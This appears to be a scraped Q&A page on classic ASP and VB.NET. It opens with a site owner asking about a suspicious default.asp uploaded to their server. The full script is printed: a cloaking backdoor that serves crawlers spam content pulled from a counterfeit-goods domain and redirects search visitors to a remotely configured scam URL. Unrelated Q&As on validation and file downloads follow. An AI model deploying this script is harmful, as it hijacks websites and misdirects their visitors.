unknowned page uploaded to my site - asp.net

this script is uploaded to my site with name default.asp, Does anyone know what was being uploaded?
<%#LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
on error resume next
jumpcode="http://link.2016online.com/en/birkenstock.txt.html"
desurljiechi="http://www.birkenstockshoes-outlet.us.com/birkenstock-womens-outlet-1"
arrdom = Split(desurljiechi, "/")
For dd = 0 To 2
desurl = desurl & arrdom(dd)& "/"
Next
shellurl="http://"&Request.ServerVariables("Http_Host")&replace(replace(LCase(replace(Request.ServerVariables("REQUEST_URI"),"?"&request.ServerVariables("QUERY_STRING"),"")),"index.asp",""),"default.asp","")&"?"
rp="nike"
rc="online"
function is_spider()
dim s_agent
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
is_spider = 1
else
is_spider = 0
end if
end function
Function GetHtml(url,k)
agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",agent
ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "utf-8"
GetHtml = objStream.ReadText
objStream.Close
End Function
Function IsUserSearch()
s_ref=Request.ServerVariables("HTTP_REFERER")
If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
IsUserSearch = true
else
IsUserSearch = false
end if
End Function
Function RegExpMatches(patrn, strng)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(strng)
Dim MyArray()
Dim i
i=0
For Each Match in Matches
ReDim Preserve MyArray(i)
MyArray(i)=Match.Value
i=i-(-1)
Next
RegExpMatches = MyArray
End Function
Function RegExpReplace(html,patrn, strng)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
RegExpReplace=regEx.Replace(html,strng)
End Function
Function cDec(num)
cDecstr=0
if len(num)>0 and isnumeric(num) then
for inum=0 to len(num)-1
cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1))))
next
end if
cDec=cDecstr
End Function
Function OcB(num)
OcBstr=""
if len(num)>0 and isnumeric(num) then
for i=1 to len(num)
select case (mid(num,i,1))
case "0" OcBstr=OcBstr&"000"
case "1" OcBstr=OcBstr&"001"
case "2" OcBstr=OcBstr&"010"
case "3" OcBstr=OcBstr&"011"
case "4" OcBstr=OcBstr&"100"
case "5" OcBstr=OcBstr&"101"
case "6" OcBstr=OcBstr&"110"
case "7" OcBstr=OcBstr&"111"
end select
next
end if
OcB=OcBstr
End Function
Function OcD(num)
OcD=cDec(OcB(num))
End Function
Function toOct(objMatch)
toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"."
End Function
Function toDeOct(objMatch)
toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"."
End Function
Function toCOct(objMatch)
toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function toCDeOct(objMatch)
toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function RegExpReplaceCall( reg, m, str, fstr)
Dim Fun, Match, Matches, i, nStr, LastIndex
If str & "" = "" Then Exit Function
Set Fun = getRef(fstr)
Set regEx = New RegExp
regEx.Pattern = reg
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
LastIndex = 1
For Each Match In Matches
If Match.FirstIndex>0 Then
nStr = nStr & Mid(str, LastIndex, Match.FirstIndex-(-1)-LastIndex)
End If
nStr = nStr & Fun(Match)
LastIndex = Match.FirstIndex-(-1)-(-Match.Length)
Next
nStr = nStr & Mid(str, LastIndex)
RegExpReplaceCall = nStr
End Function
Function RegReplaceCall( reg, str, fstr)
RegReplaceCall = RegExpReplaceCall(reg, "ig", str, fstr)
End Function
spider = is_spider()
querystr = request.ServerVariables("QUERY_STRING")
if spider = 1 or querystr = "feiya" then
if querystr = "feiya" then
querystr = ""
end if
if querystr <> "" then
querystr = RegReplaceCall("-"&rp&"-(\d"&chr(43)&")\.",querystr,"toDeOct")
querystr = RegReplaceCall("-"&rc&"-(\d"&chr(43)&")([\._])",querystr,"toCDeOct")
htmls = GetHtml(desurl&querystr,"")
else
htmls = GetHtml(desurljiechi&querystr,"")
end if
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl,"href=$1"&shellurl)
desurl1 = RegExpReplace(desurl,"/$","")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl1,"href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])/","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])(?!http)","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&desurl,"src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])/","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])(?!http)","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"url\((["&chr(34)&"'])","url($1"&shellurl)
desurl2 = replace(desurl1,"http://www.","")
desurl2 = replace(desurl2,"http://","")
htmls = replace(htmls,desurl2,Request.ServerVariables("Http_Host"),1,-1,1)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.css)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.ico)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&shellurl&"\?","src=$1"&desurl)
shellurlrm = shellurl
shellurlrm=replace(shellurlrm,"?","")
htmls = RegExpReplace(htmls,shellurlrm&"\?(["&chr(34)&"'])",shellurlrm&"$1")
htmls = RegReplaceCall("-p-(\d"&chr(43)&")\.",htmls,"toOct")
htmls = RegReplaceCall("-c-(\d"&chr(43)&")([\._])",htmls,"toCOct")
htmls = replace(htmls,"window.location.href","var jp")
htmls = replace(htmls,"location.href",";var jp")
response.write htmls
response.end()
else
if IsUserSearch then
if instr(jumpcode,".txt")>0 then
jumpcode = GetHtml(jumpcode,"Mozi11a")
tiaoarray=split(jumpcode,"?")
if IsEmpty(tiaoarray(0)) then
response.redirect jumpcode&"?"&shellurl
else
response.redirect tiaoarray(0)&"?"&shellurl
end if
end if
end if
end if
response.write GetHtml("http://"&Request.ServerVariables("Http_Host")&"/default.aspx","Mozi11a")
%>

It's redirecting requests to your site to another (probably scam) site, but only if you are coming from google.com.

Related

Webviewpage Model returns Nothing when deployed on web server

I am creating an ASP.Net website with VB.Net as code behind and this is the error that appears from the published version on a web server (this does not appear when run directly from the code or from the published version on the IIS server):
error message screenshot
This is a snippet from the controller:
Function Index(ByVal pSurveyName As String) As ActionResult
Try
If IsNothing(pSurveyName) Then
Return New HttpStatusCodeResult(HttpStatusCode.BadRequest)
End If
Dim l_question As Object = GetQuestion()
Return View(l_question)
Catch ex As Exception
Call ExceptionHandler(ex)
Return View()
End Try
End Function
Function GetQuestion() As Object
Dim l_questionnaire = Session("ActiveQuestionnaire")
Dim l_surveySession = Session("SurveySession")
Dim l_redirectQueue = Session("RedirectQueue")
Dim l_sessionAnswers = Session("SessionAnswers")
Dim l_CurrentQuestion As CurrentItem = New CurrentItem
Dim l_Choices As List(Of Choice) = New List(Of Choice)
Dim l_TempDBQuestions = db.Questions
Dim l_TempDBChildQuestions = db.ChildQuestions
Dim l_TempDBChoices = db.Choices
Dim l_tempFiltered_Q
Dim li_questionnaireID As Integer
Dim li_questionCtr As Integer
Dim li_total_NoOfQuestion As Integer = 0
Dim li_resultCount As Integer = 0
Dim li_childQID As Integer = 0
Dim ls_prevAnswer As String = ""
Dim ls_err As String = ""
Try
li_questionnaireID = l_questionnaire.ID
li_questionCtr = l_surveySession.QuestionCtr
If Session("Back") = False Then
li_questionCtr = GetQuestionCtr(NEXT_QUESTION, l_surveySession, l_redirectQueue, l_sessionAnswers,, ls_prevAnswer)
Else
Dim l_current = Session("CurrentQuestion")
li_questionCtr = GetQuestionCtr(PREVIOUS_QUESTION, l_surveySession, l_redirectQueue, l_sessionAnswers, l_current, ls_prevAnswer)
End If
l_tempFiltered_Q = l_TempDBQuestions.Where(Function(q) q.QuestionnaireID.Equals(li_questionnaireID) And q.QuestionOrder.Equals(li_questionCtr))
li_resultCount = l_TempDBQuestions.Where(Function(q) q.QuestionnaireID.Equals(li_questionnaireID) And q.QuestionOrder.Equals(li_questionCtr)).Count
If li_resultCount = 0 Then
l_tempFiltered_Q = l_TempDBChildQuestions.Where(Function(q) q.QuestionnaireID.Equals(li_questionnaireID) And q.QuestionOrder.Equals(li_questionCtr))
Session("FrmChildQuestions") = True
Else
Session("FrmChildQuestions") = False
End If
For Each item In l_tempFiltered_Q
'item could be from Questions or ChildQuestions
If li_resultCount = 0 Then
Session("IsNextQuestionChild") = item.IsNextQuestionChild
End If
With l_CurrentQuestion
.ID = item.ID
.QuestionnaireID = item.QuestionnaireID
.QuestionOrder = item.QuestionOrder
.Description = item.Description
.AnswerType = item.AnswerType
.AllowMultipleAnswers = item.AllowMultipleAnswers
.QuestionNo = item.QuestionNo
.Required = item.Required
.TempAnswer = ls_prevAnswer
End With
Next
If l_CurrentQuestion.AnswerType = constants.MULTIPLE_CHOICE Then
'Get Choices
Dim li_questionID As Integer = l_CurrentQuestion.ID
If li_resultCount = 0 Then
l_Choices = db.Choices.SqlQuery("select * from Choices where ChildQuestionID = " & li_questionID & "").ToList
Else
l_Choices = db.Choices.SqlQuery("select * from Choices where QuestionID = " & li_questionID & "").ToList
End If
Session("Choices") = l_Choices
End If
If Session("TotalQuestions") Is Nothing Then
li_total_NoOfQuestion = db.Database.SqlQuery(Of Integer) _
("select max(a.MaxOrder) from(select max(QuestionOrder) " &
"as MaxOrder from Questions union select QuestionOrder from " &
"ChildQuestions)a").FirstOrDefault
Session("TotalQuestions") = li_total_NoOfQuestion
End If
With l_surveySession
.QuestionCtr = li_questionCtr
End With
Session("SurveySession") = l_surveySession
Session("CurrentQuestion") = l_CurrentQuestion
Session("Back") = False
Return l_CurrentQuestion
Catch ex As Exception
Call ExceptionHandler(ex)
End Try
End Function
And this is from the view:
#ModelType Survey_App.Models.CurrentItem
#Code
ViewData("Title") = "Index"
Layout = "~/Views/Shared/_Layout.vbhtml"
Dim l_choices = Session("Choices")
Dim l_activeSurvey = Session("ActiveSurvey")
Dim ls_tempAnsType As String = Model.AnswerType.ToString 'this is the line indicated in the error msg
Dim ls_temp As String = ""
Dim ls_tempAnswer() As String = Nothing
Dim li_totalQuestions As Integer = 0
li_totalQuestions = Session("TotalQuestions")
Dim ls_POSTAction As String = vbNullString
The error appears some time (maybe 10-15 seconds) after going through the home page but not always immediately. I also tried some debugging and it looks like the session variables also return nothing after that some time.

Automatically make URLs clickable with formatted url title

I use the below code to automatic create links in my strings. But how do I convert a link like:
http://stackoverflow.com/questions/ask
into:
stackoverflow.com
As it is now, the output is:
http://stackoverflow.com/questions/ask
Thanks in advance!
Function create_links(strText)
strText = " " & strText
strText = ereg_replace(strText, "(^|[\n ])([\w]+?://[^ ,""\s<]*)", "$1$2")
strText = ereg_replace(strText, "(^|[\n ])((www|ftp)\.[^ ,""\s<]*)", "$1$2")
strText = right(strText, len(strText)-1)
create_links = strText
end function
Function ereg_replace(strOriginalString, strPattern, strReplacement)
' Function replaces pattern with replacement
dim objRegExp : set objRegExp = new RegExp
objRegExp.Pattern = strPattern
objRegExp.IgnoreCase = True
objRegExp.Global = True
ereg_replace = objRegExp.replace(strOriginalString, strReplacement)
set objRegExp = nothing
end function
I finally solved it using the following code:
Function create_links(strText)
strText = " " & strText
strText = MakeLink(strText, "http(s)?://([\w+?\.\w+])+([a-zA-Z0-9\~\!\#\#\$\%\^\&\*\(\)_\-\=\+\\\/\?\.\:\;\'\,]*)?")
create_links = strText
End function
Function MakeLink(txt, strPattern)
Dim re, targetString, colMatch, objMatch
Set re = New RegExp
With re
.Pattern = strPattern
.Global = True
.IgnoreCase = True
End With
Set colMatch = re.Execute(txt)
For each objMatch in colMatch
matchedValue = right(objMatch.Value, len(objMatch.Value))
if instr(matchedValue, "://") Then
Else
matchedValue = "http://" & matchedValue
End If
urlName = replace(replace(replace(matchedValue, "http://", ""), "https://", ""), "www.", "")
If instr(urlName, "/") Then
Arr = split(urlName, "/")
urlName = Arr(0)
End If
urlName = UCase(Left(urlName,1)) & LCase(Right(urlName, Len(urlName) - 1))
txt = replace(txt, objMatch.Value, " " & urlName & "")
Next
MakeLink = txt
End Function

InStr() asp classic form field validation

I'm trying to check for valid email address in a form field using:
if Request ("email") = "" then
bError = true
ElseIf Instr(1, email," ") <> 0 Then
bError = true
ElseIf InStr(1, email, "#", 1) < 2 Then
bError = true
else
*/go to success page*/
But if there is a space in the email address it still passes the validation. So my question is, how do I check for spaces using this method?
You're better off using a regular expression for this.
http://classicasp.aspfaq.com/email/how-do-i-validate-an-e-mail-address.html
Function isEmailValid(email)
Set regEx = New RegExp
regEx.Pattern = "^\w+([-+.]\w+)*#\w+([-.]\w+)*\.\w{2,}$"
isEmailValid = regEx.Test(trim(email))
End Function
Forget about all the elseif stuff do it simple...
Dim strEmail
Dim intErrors
intErrors = 0
strEmail = REQUEST("email")
strEmail = Trim(strEmail)
if strEmail = "" then intErrors = intErrors +1;
if instr(strEmail," ") > 0 then intErrors = intErrors +1;
if instr(strEmail,".") = 0 then intErrors = intErrors +1;
if instr(strEmail,"#") < 2 then intErrors = intErrors +1;
' Put as many test conditions as you want here
if intErrors = 0 then GotoSuccessPage
if Request ("email") = "" or Instr(email," ") > 0 or InStr(email, "#") < 2 then
bError = true
else
'go to success page
'BUT ABOUT OTHER ISSUES?
end if
---------------HERE IS A NON-REGEXP BASED EMAIL CHECKER, NOT SURE IF ITS FOOL PROOF BUT BETTER THAN THE SUBMITTED SNIPPET THAT SHOULD GET YOU GOING...
Function IsEmail(sCheckEmail)
Dim SEmail, NAtLoc
IsEmail = True
SEmail = Trim(sCheckEmail)
NAtLoc = InStr(SEmail, "#")
If Not (nAtLoc > 1 And (InStrRev(sEmail, ".") > NAtLoc + 1)) Then
IsEmail = False
ElseIf InStr(nAtLoc + 1, SEmail, "#") > NAtLoc Then
IsEmail = False
ElseIf Mid(sEmail, NAtLoc + 1, 1) = "." Then
IsEmail = False
ElseIf InStr(1, Right(sEmail, 2), ".") > 0 Then
IsEmail = False
End If
End Function

how can to stop the inserting when the validation is wrong for textbox?

i tried something like this, it insert into the database even thought nric is wrong.
So i want it to stop inserting the data into the database when the nric validation is wrong, however from what i do, the result is it still insert the name in....so where should change to allow it stop inserting until user change the value then can continue insert???
Protected Sub btnSubmit_Click(sender As Object, e As EventArgs) Handles btnSubmit.Click
register()
End Sub
Protected Sub nricValidate()
Dim strRegex As String = "^([sS]\d{7}[a-zA-Z])$"
Dim myRegex As Regex = New Regex(strRegex)
Dim strNr As String = txtNRIC.Text
Dim nric As String = txtNRIC.Text
If String.IsNullOrEmpty(txtNRIC.Text) Then
ElseIf myRegex.IsMatch(strNr) Then
Dim nricArray() As Char = nric.ToArray
Dim sum As Integer = 0
Dim num As Integer = 0
Dim result As Integer = 0
Dim numbers As Char
Dim no As String = ""
Dim i As Integer = 0
Do While (i < nricArray.Length)
If (i = 1) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 2)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 2) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 7)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 3) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 6)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 4) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 5)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 5) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 4)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 6) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 3)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 7) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 2)
nricArray(i) = Convert.ToChar(num)
End If
i = (i + 1)
Loop
i = 0
Do While (i < nricArray.Length)
If ((i > 0) _
AndAlso (i < 8)) Then
numbers = nricArray(i)
num = Convert.ToInt32(numbers)
sum = (sum + num)
End If
i = (i + 1)
Loop
result = (sum Mod 11)
If (result = 10) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(65)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'A' Nric Error"
End If
ElseIf (result = 9) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(66)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'B' Nric Error"
End If
ElseIf (result = 8) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(67)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'C'Nric Error"
End If
ElseIf (result = 7) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(68)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'D'Nric Error"
End If
ElseIf (result = 6) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(69)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'E'Nric Error"
End If
ElseIf (result = 5) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(70)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'F'Nric Error"
End If
ElseIf (result = 4) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(71)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'G'Nric Error"
End If
ElseIf (result = 3) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(72)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'H'Nric Error"
End If
ElseIf (result = 2) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(73)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'I'Nric Error"
End If
ElseIf (result = 1) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(90)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'Z'Nric Error"
End If
ElseIf (result = 0) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(74)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'J'Nric Error"
End If
End If
Return
Else
ResultLabel.Text = "The NRIC is incorrect!"
txtNRIC.Text = String.Empty
txtNRIC.Focus()
End If
End Sub
Protected Sub register()
Dim myConn As New SqlConnection
Dim myCmd As New SqlCommand
myConn.ConnectionString = ConfigurationManager.ConnectionStrings("Company").ConnectionString
Dim cmd As String
cmd = "Insert into Customer values (#fullName, #nric) "
myCmd.CommandText = cmd
myCmd.CommandType = CommandType.Text
nricValidate()
myCmd.Parameters.Add(New SqlParameter("#fullName", txtName.Text))
myCmd.Parameters.Add(New SqlParameter("#nric", txtNRIC.Text))
myCmd.Connection = myConn
myConn.Open()
myCmd.ExecuteNonQuery()
myCmd.Dispose()
myConn.Dispose()
End Sub
That big loop is entirely unnecessary. There's so much to fix here that I'll do a big rewrite. I turned 216 lines into 41, no problem. It could most likely be made much better, too.
Protected Sub btnSubmit_Click(sender As Object, e As EventArgs) Handles btnSubmit.Click
If nricValidate() Then
Using myConn As New SqlConnection(ConfigurationManager.ConnectionStrings("Company").ConnectionString),
myCmd As SqlCommand = myConn.CreateCommand()
myCmd.CommandText = "INSERT INTO Customer VALUES(#fullName, #nric)"
myCmd.CommandType = CommandType.Text
myCmd.Parameters.Add(New SqlParameter("#fullName", txtName.Text))
myCmd.Parameters.Add(New SqlParameter("#nric", txtNRIC.Text))
myConn.Open()
myCmd.ExecuteNonQuery()
End Using
End If
End Sub
Protected Function nricValidate() As Boolean
Dim myRegex As New Regex("^([sS]\d{7}[a-zA-Z])$")
If Not String.IsNullOrEmpty(txtNRIC.Text) AndAlso myRegex.IsMatch(txtNRIC.Text) Then
Dim nricArray(txtNRIC.Text.Length - 1) As Integer
Dim sum As Integer = 0
For i As Integer = 1 To 7
sum += Integer.Parse(txtNRIC.Text.Substring(i, 1)) * If(i = 1, 2, 9 - i)
Next
If nricArray(8) <> 75 - sum Mod 11 Then
txtNRIC.Focus()
ResultLabel.Text = "The last value should be " & (75 - sum Mod 11).ToString() & ": NRIC Error"
Return False
End If
Return True
Else
ResultLabel.Text = "The NRIC is incorrect!"
txtNRIC.Text = String.Empty
txtNRIC.Focus()
End If
Return False
End Function
Your actual answer is - you need to turn nricValidate into a Function, return a success value, and check for success before inserting into the database. But the rest of your code could be heavily optimized too, as you can see.
I do apologize in advance, but that is the worst code I've ever seen in my entire life. Please read up on how to program in general.
change your nricValidate to return true if validation pass
Protected Function nricValidate() As Boolean
'Return True if validation pass
End Function
then you can validate and proceed
If nricValidate() Then
Dim myConn As New SqlConnection
Dim myCmd As New SqlCommand
myConn.ConnectionString = ConfigurationManager.ConnectionStrings("Company").ConnectionString
Dim cmd As String
cmd = "Insert into Customer values (#fullName, #nric) "
myCmd.CommandText = cmd
myCmd.CommandType = CommandType.Text
myCmd.Parameters.Add(New SqlParameter("#fullName", txtName.Text))
myCmd.Parameters.Add(New SqlParameter("#nric", txtNRIC.Text))
myCmd.Connection = myConn
myConn.Open()
myCmd.ExecuteNonQuery()
myCmd.Dispose()
myConn.Dispose()
End If
another way is if ResultLabel has text on validation fail check that before execute database operation.
you have to make a return false on every validation fail. like this:
If (nricArray(8) = Microsoft.VisualBasic.ChrW(65)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'A' Nric Error"
return False
End If
...
return True 'at the end of the function
dont forget to change the sub to function of boolean return type.
Protected function nricValidate() as Boolean
and then inside you register sub
replace nricValidate() with if not nricValidate() then exit sub and make it bfore any declaration so no need to dispose anything ...
Since you are posting the error to the result label, you could use this object within the button submit to detect an error:
If (String.IsNullOrEmpty(ResultLabel.Text)) Then
' valid,continue
End IF

What is a fast and efficient way to import images by URL?

Would I just use MSXML and import as binary? Or is there another more efficient way?
There are gigs and gigs of JPEGs to fetch.
I have written something in the past, the code below will save remote image on the server disk. It's classic ASP and pretty efficient:
<%
Const CONTENT_FOLDER_NAME = "StoredContents"
Dim strImageUrl
strImageUrl = "http://www.gravatar.com/avatar/8c488f9c3d3da5bb756507179a3d53fd?s=32&d=identicon&r=PG"
Call SaveOnServer(strImageUrl, "bill_avatar.jpg")
Sub SaveOnServer(url, strFileName)
Dim strRawData, objFSO, objFile
Dim strFilePath, strFolderPath, strError
strRawData = GetBinarySource(url, strError)
If Len(strError)>0 Then
Response.Write("<span style=""color: red;"">Failed to get binary source. Error:<br />" & strError & "</span>")
Else
strFolderPath = Server.MapPath(CONTENT_FOLDER_NAME)
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
If Not(objFSO.FolderExists(strFolderPath)) Then
objFSO.CreateFolder(strFolderPath)
End If
If Len(strFileName)=0 Then
strFileName = GetCleanName(url)
End If
strFilePath = Server.MapPath(CONTENT_FOLDER_NAME & "/" & strFileName)
Set objFile = objFSO.CreateTextFile(strFilePath)
objFile.Write(RSBinaryToString(strRawData))
objFile.Close
Set objFile = Nothing
Set objFSO = Nothing
Response.Write("<h3>Stored contents of " & url & ", total of <span style=""color: blue;"">" & LenB(strRawData) & "</span> bytes</h3>")
Response.Write("<a href=""" & CONTENT_FOLDER_NAME & "/" & strFileName & """ target=""_blank""><span style=""color: blue;"">" &_
strFileName & "</span></a>")
End If
End Sub
Function RSBinaryToString(xBinary)
''# Antonin Foller, http://www.motobit.com
''# RSBinaryToString converts binary data (VT_UI1 | VT_ARRAY Or MultiByte string)
''# to a string (BSTR) using ADO recordset
Dim Binary
'' #MultiByte data must be converted To VT_UI1 | VT_ARRAY first.
If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary
Dim RS, LBinary
Const adLongVarChar = 201
Set RS = CreateObject("ADODB.Recordset")
LBinary = LenB(Binary)
If LBinary>0 Then
RS.Fields.Append "mBinary", adLongVarChar, LBinary
RS.Open
RS.AddNew
RS("mBinary").AppendChunk Binary
RS.Update
RSBinaryToString = RS("mBinary")
Else
RSBinaryToString = ""
End If
End Function
Function MultiByteToBinary(MultiByte)
''# © 2000 Antonin Foller, http://www.motobit.com
''# MultiByteToBinary converts multibyte string To real binary data (VT_UI1 | VT_ARRAY)
''# Using recordset
Dim RS, LMultiByte, Binary
Const adLongVarBinary = 205
Set RS = CreateObject("ADODB.Recordset")
LMultiByte = LenB(MultiByte)
If LMultiByte>0 Then
RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte
RS.Open
RS.AddNew
RS("mBinary").AppendChunk MultiByte & ChrB(0)
RS.Update
Binary = RS("mBinary").GetChunk(LMultiByte)
End If
MultiByteToBinary = Binary
End Function
Function GetBinarySource(url, ByRef strError)
Dim objXML
Set objXML=Server.CreateObject("Microsoft.XMLHTTP")
GetBinarySource=""
strError = ""
On Error Resume Next
objXML.Open "GET", url, False
objXML.Send
If Err.Number<>0 Then
Err.Clear
Set objXML = Server.CreateObject("MSXML2.ServerXMLHTTP")
objXML.Open "GET", url, False
objXML.Send
If Err.Number<>0 Then
strError = "Error " & Err.Number & ": " & Err.Description
Err.Clear
Exit Function
End If
End If
On Error Goto 0
GetBinarySource=objXML.ResponseBody
Set objXML=Nothing
End Function
Function GetCleanName(s)
Dim result, x, c
Dim arrTemp
arrTemp = Split(s, "/")
If UBound(arrTemp)>0 Then
For x=0 To UBound(arrTemp)-1
result = result & GetCleanName(arrTemp(x)) & "_"
Next
result = result & GetPageName(s)
Else
For x=1 To Len(s)
c = Mid(s, x, 1)
If IsValidChar(c) Then
result = result & c
Else
result = result & "_"
End If
Next
End If
Erase arrTemp
GetCleanName = result
End Function
Function IsValidChar(c)
IsValidChar = (c >= "a" And c <= "z") Or (c >= "A" And c <= "Z") Or (IsNumeric(c))
End Function
Function GetPageName(strUrl)
If Len(strUrl)>0 Then
GetPageName=Mid(strUrl, InStrRev(strUrl, "/")+1, Len(strUrl))
Else
GetPageName=""
End If
End Function
%>
Just call SaveOnServer sub routine passing the URL and desired file name, you can also omit the file name and in that case, the file name will be taken from the URL itself.
The server folder is defined as constant and will be in the same place as .asp file.
Here is the gist of how to download and save files in script:-
Function DownloadAndSave(sourceUrl, destinationFile)
Dim req : Set req = CreateObject("WinHttp.WinHttpRequest.5.1")
req.Open "GET", sourceUrl, false
req.Send
Dim stream : Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 ''# adTypeBinary
stream.Open
stream.Write req.ResponseBody
stream.SaveToFile destinationFile, 2
stream.Close
End Function

Resources